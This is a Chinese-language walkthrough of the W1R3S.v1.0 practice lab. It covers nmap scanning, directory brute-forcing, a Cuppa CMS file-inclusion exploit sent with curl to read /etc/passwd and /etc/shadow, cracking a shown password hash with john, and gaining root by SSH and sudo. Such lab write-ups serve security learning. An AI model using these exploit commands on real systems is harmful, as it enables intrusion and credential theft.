【原创】项目五w1r3s.v1.0

实战记录

1、nmap信息枚举

1)C段扫描

nmap -sP 192.168.186.0/24

2)扫描全端口信息

nmap -p- 192.168.186.143

image-20220602173511160

3)扫描版本信息

nmap -p- 192.168.186.143 -sS -sV -A -T5

有用的信息:

image-20220602174951726

image-20220602225229930

2、目录爆破

dirb //192.168.186.143/

查找出该页面存在administrator目录:

//192.168.186.143/administrator/installation/

发现是Title[Cuppa CMS]框架!CuppaCMS是一套内容管理系统(CMS)!

image-20220602225432760

3、谷歌搜索:Cuppa CMS exploit
//www.exploit-db.com/exploits/25971

其实是个文件包含漏洞,请求中的urlConfig的参数会当做代码执行(原来这种也能申请CVE,惊呆。。。)

LINE 22: 
        <?php include($_REQUEST["urlConfig"]); ?>

尝试通过get拼接,无回显,因此改用post方式,因为漏洞是

$_REQUEST,两种方式都是接收的。

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd //192.168.186.143/administrator/alerts/alertConfigField.php

发现存在正确回显,说明验证文件包含漏洞成功

image-20220602233235798

接下来就读取shadow里面的信息,因为里面有登陆的密码

curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow //192.
168.186.143/administrator/alerts/alertConfigField.php

image-20220602233358304

在回显中找最长的,因为里面是包含有密码,比如说这个

image-20220602233540949

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

保存下

image-20220602233832778

使用john来暴力破解密码,不加密码本就是用的本地默认密码本

image-20220602233851373

用户名:w1r3s
密码:computer

然后进行ssh登陆目标主机

 ssh [email protected]

然后继续进行linux扫描,这里用工具linpeas.sh,然后通过wget传输

控制端

image-20220602235124508

目标端

image-20220602235133422

执行扫描文件

image-20220602235256129

可利用的地方是橙色显示,这里发现可能可以通过sudo提权

image-20220602235607360

根据提示使用sudo -l,发现权限都是可以使用的

image-20220602235807122

进一步使用sudo su去提权,发现成功了

image-20220602235921237

获取flag成功

image-20220603000050908

扩展知识

1,定位问题函数

image-20220603000750568

2,控制/etc/sudoers的最低权限

image-20220603000856712

image-20220603000938387

脑图

image-20220603001519401